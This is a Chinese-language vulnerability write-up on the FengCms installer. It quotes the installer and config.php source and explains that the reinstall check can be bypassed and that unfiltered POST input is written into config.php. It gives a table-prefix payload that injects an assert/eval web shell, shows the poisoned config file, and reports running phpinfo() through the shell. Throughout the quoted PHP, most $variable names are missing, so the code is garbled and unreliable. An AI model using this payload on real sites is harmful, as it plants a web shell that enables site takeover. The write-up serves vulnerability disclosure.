进入./install/index.php文件
```
<?php
/*******************************************************************
* @authors FengCms
* @web http://www.fengcms.com
* @email web@fengcms.com
* @date 2013-10-30 16:00:12
* @version FengCms Beta 1.0
* @copy Copyright © 2013-2018 Powered by DiFang Web Studio
*******************************************************************/
//
header("Content-type:text/html;charset=utf-8");
define("TPL_INCLUDE",1);
// 定义当前路径
define('ABS_PATH',dirname(__FILE__));
define('ROOT_PATH',dirname(ABS_PATH));
if(!['step'])['step']=1;
=ROOT_PATH.'/config.php';
=ABS_PATH.'/install.sql';
if(file_exists(ROOT_PATH.'/upload/INSTALL')){
echo '<script type="text/javascript">alert("系统已安装,如需要重新安装,请手工删除upload目录下的INSTALL文件!");</script>';
echo '<meta http-equiv="refresh" content="0;url=/">';
}
switch(['step']){
case '1': //安装许可协议
include ABS_PATH."/step/step1.php";
break;
case '2': //检查安装环境是否满足要求
= '';
if(extension_loaded('gd')) {
if(function_exists('imagepng')) .= 'png';
if(function_exists('imagejpeg')) .= ' jpg';
if(function_exists('imagegif')) .= ' gif';
}
= '0';
if(extension_loaded('json')) {
if(function_exists('json_decode') && function_exists('json_encode')) = '1';
}
//新加fsockopen 函数判断,此函数影响安装后会员注册及登录操作。
if(function_exists('fsockopen')) {
= '1';
}
= preg_match("/^[0-9.]{7,15}$/", @gethostbyname('www.baidu.cn')) ? 1 : 0;
//是否满足FengCms安装需求
= (phpversion() >= '5.2.0' && extension_loaded('mysql') && && && ) ? 1 : 0;
//配置文件是否存在和可写
= (is_readable() && is_writable()) ? 1 : 0;
//上传目录是否可写
= (dir_writeable(ROOT_PATH."/upload")) ? 1 : 0;
//模块导出目录是否可写
= (dir_writeable(ROOT_PATH."/upload/module")) ? 1 : 0;
//前台缓存目录是否可写
= (dir_writeable(ROOT_PATH."/app/cache")) ? 1 : 0;
include ABS_PATH."/step/step2.php";
break;
case '3': //填写数据库信息
include ABS_PATH."/step/step3.php";
break;
case '4': //正在安装
=@mysql_connect(['host'],['user'],['password']);
if(!){
echo '<script type="text/javascript">alert("链接主机失败,请检查主机地址、用户名和密码是否正确!");history.go(-1);</script>';
exit();
}elseif(intval(mysql_get_server_info())<5){
echo '<script type="text/javascript">alert("您的MYSQL版本为'. mysql_get_server_info().',版本太低,不能安装FengCms!");history.go(-1);</script>';
exit();
}else{
if(!mysql_select_db(['dbname'],)){ //如果数据库不存在,我们就进行创建。
if (!mysql_query("CREATE DATABASE ". ['dbname'] ." default character set utf8;",))
{
echo '<script type="text/javascript">alert("数据库不存在,创建不成功");history.go(-1);</script>';
}else{
if(!mysql_select_db(['dbname'],)){
echo '<script type="text/javascript">alert("链接数据库失败,请检查数据库是否正确!");history.go(-1);</script>';
}else{
include "data.php";
}
}
}else{
include "data.php";
}
}
break;
case '5': //安装完成
include ABS_PATH."/step/step5.php";
= fopen(ROOT_PATH.'/upload/INSTALL','w');
fclose ();
break;
/****
case '6': //删除安装目录
if(rmdirs(ROOT_PATH.'/install') or rmdir(ROOT_PATH.'/install')){
echo '<script type="text/javascript">alert("删除成功!");close();</script>';
exit();
}else{
echo '<script type="text/javascript">alert("删除失败,请手工删除网站根目录下install目录!");close();</script>';
exit();
}
break;
***/
}
function dir_writeable() {
/**
* 如果不是目录将创建一个可读写的目录
*/
if(!is_dir()) {
@mkdir(, 0777);
}
if(is_dir()) { //如果目录已存在
if( = @fopen("/test.test", 'w')) { //创建一个名为test.test的文件来测试
@fclose(); //关闭文件流
@unlink("/test.test"); //删除测试文件
= 1; //能创建则说明可读取,返回值为 1
} else {
= 0; //不能创建,返回值为 0
}
}
return ; //返回值
}
?>
```
可以看到这里判断./upload/INSTALL文件是否存在,若存在,就弹出JavaScript代码。但是这里我们可以完全忽视javascript代码,即可进入下一步。
接着看看./install/install.php文件
```
<?php
header("Content-type:text/html;charset=utf-8"); //看你用的是什么编码,要保持一致。
define("TPL_INCLUDE",1);
// 定义当前路径
define('ABS_PATH',dirname(__FILE__).'/');
=ABS_PATH."config.php"; //要写入的配置文件。
if(!is_writable()){ //判断是否有可写的权限,linux操作系统要注意这一点,windows不必注意。
echo "<font color=red>文件不可写</font>";
exit();
}
if(['step']=='2'){
?>
<table cellpadding="0" cellspacing="0" class="table_list">
<tr>
<th class="col1">检查项目</th>
<th class="col2">当前环境</th>
<th class="col3">PHPCMS 建议</th>
<th class="col4">功能影响</th>
</tr>
<tr>
<td>操作系统</td>
<td><?php echo php_uname();?></td>
<td>Windows_NT/Linux/Freebsd</td>
<td><span><img src="images/correct.gif" /></span></td>
</tr>
<tr>
<td>WEB 服务器</td>
<td><?php echo ['SERVER_SOFTWARE'];?></td>
<td>Apache/Nginx/IIS</td>
<td><span><img src="images/correct.gif" /></span></td>
</tr>
<tr>
<td>PHP 版本</td>
<td>PHP <?php echo phpversion();?></td>
<td>PHP 5.2.0 及以上</td>
<td><?php if(phpversion() >= '5.2.0'){ ?><span><img src="images/correct.gif" /></span><?php }else{ ?><font class="red"><img src="images/error.gif" /> 无法安装</font><?php }?></font></td>
</tr>
<tr>
<td>MYSQL 扩展</td>
<td><?php if(extension_loaded('mysql')){ ?>√<?php }else{ ?>×<?php }?></td>
<td>必须开启</td>
<td><?php if(extension_loaded('mysql')){ ?><span><img src="images/correct.gif" /></span><?php }else{ ?><font class="red"><img src="images/error.gif" /> 无法安装</font><?php }?></td>
</tr>
<tr>
<td>ICONV/MB_STRING 扩展</td>
<td><?php if(extension_loaded('iconv') || extension_loaded('mbstring')){ ?>√<?php }else{ ?>×<?php }?></td>
<td>必须开启</td>
<td><?php if(extension_loaded('iconv') || extension_loaded('mbstring')){ ?><span><img src="images/correct.gif" /></span><?php }else{ ?><font class="red"><img src="images/error.gif" /> 字符集转换效率低</font><?php }?></td>
</tr>
<tr>
<td>JSON扩展</td>
<td><?php if(){ ?>√<?php }else{ ?>×<?php }?></td>
<td>必须开启</td>
<td><?php if(){ ?><span><img src="images/correct.gif" /></span><?php }else{ ?><font class="red"><img src="images/error.gif" /> 不只持json,<a href="http://pecl.php.net/package/json" target="_blank">安装 PECL扩展</a></font><?php }?></td>
</tr>
<tr>
<td>GD 扩展</td>
<td><?php if(){ ?>√ (支持 <?php echo ;?>)<?php }else{ ?>×<?php }?></td>
<td>建议开启</td>
<td><?php if(){ ?><span><img src="images/correct.gif" /></span><?php }else{ ?><font class="red"><img src="images/error.gif" /> 不支持缩略图和水印</font><?php }?></td>
</tr>
<tr>
<td>ZLIB 扩展</td>
<td><?php if(extension_loaded('zlib')){ ?>√<?php }else{ ?>×<?php }?></td>
<td>建议开启</td>
<td><?php if(extension_loaded('zlib')){ ?><span><img src="images/correct.gif" /></span><?php }else{ ?><font class="red"><img src="images/error.gif" /> 不支持Gzip功能</font><?php }?></td>
</tr>
<tr>
<td>FTP 扩展</td>
<td><?php if(extension_loaded('ftp')){ ?>√<?php }else{ ?>×<?php }?></td>
<td>建议开启</td>
<td><?php if(extension_loaded('ftp')){ ?><span><img src="images/correct.gif" /></span><?php }elseif(ISUNIX){ ?><font class="red"><img src="images/error.gif" /> 不支持FTP形式文件传送</font><?php }?></td>
</tr>
<tr>
<td>allow_url_fopen</td>
<td><?php if(ini_get('allow_url_fopen')){ ?>√<?php }else{ ?>×<?php }?></td>
<td>建议打开</td>
<td><?php if(ini_get('allow_url_fopen')){ ?><span><img src="images/correct.gif" /></span><?php }else{ ?><font class="red"><img src="images/error.gif" /> 不支持保存远程图片</font><?php }?></td>
</tr>
<tr>
<td>fsockopen</td>
<td><?php if(function_exists('fsockopen')){ ?>√<?php }else{ ?>×<?php }?></td>
<td>建议打开</td>
<td><?php if(=='1'){ ?><span><img src="images/correct.gif" /></span><?php }else{ ?><font class="red"><img src="images/error.gif" /> 不支持fsockopen函数</font><?php }?></td>
</tr>
<tr>
<td>DNS解析</td>
<td><?php if(){ ?>√<?php }else{ ?>×<?php }?></td>
<td>建议设置正确</td>
<td><?php if(){ ?><span><img src="images/correct.gif" /></span><?php }else{ ?><font class="red"><img src="images/error.gif" /> 不支持采集和保存远程图片</font><?php }?></td>
</tr>
</table>
<?php
}
// = fopen(, "w"); //以写入的方式打开config.php这个文件。
if(['install']){ //获取用户提交的数据。
=['host'];
=['user'];
=['password'];
=['dbname'];
if(!=@mysql_connect(,,)){
echo "连接数据库失败!请返回上一页检查连接参数 <a href='javascript:history.go(-1)' mce_href='javascript:history.go(-1)'><font color=#ff0000>返回修改</font></a>";
exit();
}else{
mysql_query("set names gb2312"); //设置数据库的编码,注意要与前面一致。
if(!mysql_select_db(,)){ //如果数据库不存在,我们就进行创建。
if(!mysql_query()){
echo "创建数据库失败,请确认是否有足够的权限!<a href='javascript:history.go(-1)' mce_href='javascript:history.go(-1)'><font color=#ff0000>返回修改</font></a>";
exit();
}
}
echo file_get_contents();
exit;
= fopen(, "w"); //以写入的方式打开config.php这个文件。
fwrite(,); //将配置信息写入config.php文件。
fclose();
include_once(ABS_PATH."config.php"); //导入配置信息.
//下面根据你实际的表的结构跟初始化表的数据来写,这些sql语句,我们在导出时可以找到。
//新建一个表test1
[] = "CREATE TABLE `test1` (
`id` int(4) NOT NULL auto_increment,
`name` varchar(20) character set gb2312 NOT NULL,
`major` varchar(40) character set gb2312 NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=gb2312 AUTO_INCREMENT=1;";
//新建一个表test2
[] = "CREATE TABLE `test2` (
`id` int(4) NOT NULL auto_increment,
`name` varchar(20) character set gb2312 NOT NULL,
`major` varchar(40) character set gb2312 NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=gb2312 AUTO_INCREMENT=1;";
//为test1表默认初始化一些数据。
[]="INSERT INTO `test1` (`name`, `major`) VALUES('张三','电子商务')";
foreach( as ){
if(!mysql_query()){ //依次执行以上的sql语句,就是创建表和初始化数据。
echo "创建表失败或者初始化数据失败";
exit();
}
}
mysql_close();
echo "安装成功";//可以做一个跳转到首页。
exit();
}
}
?>
<html>
<head><title>php安装程序的基本原理</title></head>
<body>
<form action="install.php?" method="post">
填写主机:<input type="text" name="host">本地主机为localhost<br />
连接数据库的用户名:<input type="text" name="user"><br />
连接数据库的密码:<input type="text" name="password"><br />
要创建的数据库名:<input type="text" name="dbname"><br />
<input type="submit" name="install" value="安装">
</form>
</body>
</html>
```
这个文件入之后会判断config.php文件是否可写,接着对传入的post值并无任何过滤
跟进config.php文件
```
<?php
/*******************************************************************
* @authors FengCms
* @web http://www.FengCms.com
* @email web@FengCms.com
* @date 2013-10-30 16:00:12
* @version FengCms Beta 1.0
* @copy Copyright © 2013-2018 Powered by DiFang Web Studio
*******************************************************************/
defined('TPL_INCLUDE') or die( 'Restricted access');
/*---------------- MYSQL 数据库选项 ------------------------*/
define('DB_HOST','localhost'); //地址
define('DB_USER','root'); //用户
define('DB_PASS','root'); //密码
define('DB_NAME','fengcms'); //库名
define('DB_TYPE','mysqli'); //类型 支持mysql和mysqli的方式,默认安装为mysqli方式
define('DB_PREFIX','f_'); //表扩展名 安装后请勿修改
define('DB_VIEW_PREFIX',DB_PREFIX.'view_'); //视图表扩展名 请勿修改
/*---------------- 网站设置项(伪静态和后台认证码)---------*/
define('URL_TYPE', 1); //访问地址方法,0动态1伪静态
define('ADMIN_CODE','8888'); //认证码 只能是四位
/*---------------- 网站调试模式是否开启 --------------------*/
define('DEBUGS', true); //调试模式 true 开 false 关
/*---------------- 系统核心选项(请勿修改) ----------------*/
define('CONTROLLER','Controller'); //控制器名称
define('DEFAULT_CONTROLLER','home'.CONTROLLER); //默认控制器
define('DEFAULT_OPERATE','index'); //默认方法
define('KEYS', 'admin123'); //键值
define('SESSION_EXT', 'se_'); //SESSION扩展
define('SESSION_DOMAIN', ''); //SESSION域名
define('CACHE_PATH',APP_PATH.'/cache/'); //缓存路径
```
在表名前缀处构造pyload:```f_');assert($_REQUEST["w"]);//```
我们就这样完美构造出了pyload
紧接着就实际操作下:
![](https://images.seebug.org/contribute/5bbe126a-bf84-41cf-aa21-92f6819eb120-w331s)
![](https://images.seebug.org/contribute/0307ee62-953c-456e-bcaf-b5b4c0d71d25-w331s)
![](https://images.seebug.org/contribute/e3cfabe8-fcac-4928-a7ad-5cee062ef034-w331s)
![](https://images.seebug.org/contribute/f01db139-b8b4-4ba0-a11c-8d62ae53111e-w331s)
安装完成过后再看看config.php文件
```
<?php
/*******************************************************************
* @authors FengCms
* @web http://www.FengCms.com
* @email web@FengCms.com
* @date 2013-10-30 16:00:12
* @version FengCms Beta 1.0
* @copy Copyright © 2013-2018 Powered by DiFang Web Studio
*******************************************************************/
defined('TPL_INCLUDE') or die( 'Restricted access');
/*---------------- MYSQL 数据库选项 ------------------------*/
define('DB_HOST','localhost'); //地址
define('DB_USER','root'); //用户
define('DB_PASS','root'); //密码
define('DB_NAME','fe'); //库名
define('DB_TYPE','mysqli'); //类型 支持mysql和mysqli的方式,默认安装为mysqli方式
define('DB_PREFIX','');assert($_REQUEST["w"]);//');eval($_REQUEST["w"]);//'); //表扩展名 安装后请勿修改
define('DB_VIEW_PREFIX',DB_PREFIX.'view_'); //视图表扩展名 请勿修改
/*---------------- 网站设置项(伪静态和后台认证码)---------*/
define('URL_TYPE', 1); //访问地址方法,0动态1伪静态
define('ADMIN_CODE','8888'); //认证码 只能是四位
/*---------------- 网站调试模式是否开启 --------------------*/
define('DEBUGS', true); //调试模式 true 开 false 关
/*---------------- 系统核心选项(请勿修改) ----------------*/
define('CONTROLLER','Controller'); //控制器名称
define('DEFAULT_CONTROLLER','home'.CONTROLLER); //默认控制器
define('DEFAULT_OPERATE','index'); //默认方法
define('KEYS', 'admin123'); //键值
define('SESSION_EXT', 'se_'); //SESSION扩展
define('SESSION_DOMAIN', ''); //SESSION域名
define('CACHE_PATH',APP_PATH.'/cache/'); //缓存路径
```
在主页直接执行phpinfo()函数,效果如下
![](https://images.seebug.org/contribute/914d1742-4706-4a8b-83d6-16d8ff1edfff-w331s)
暂无评论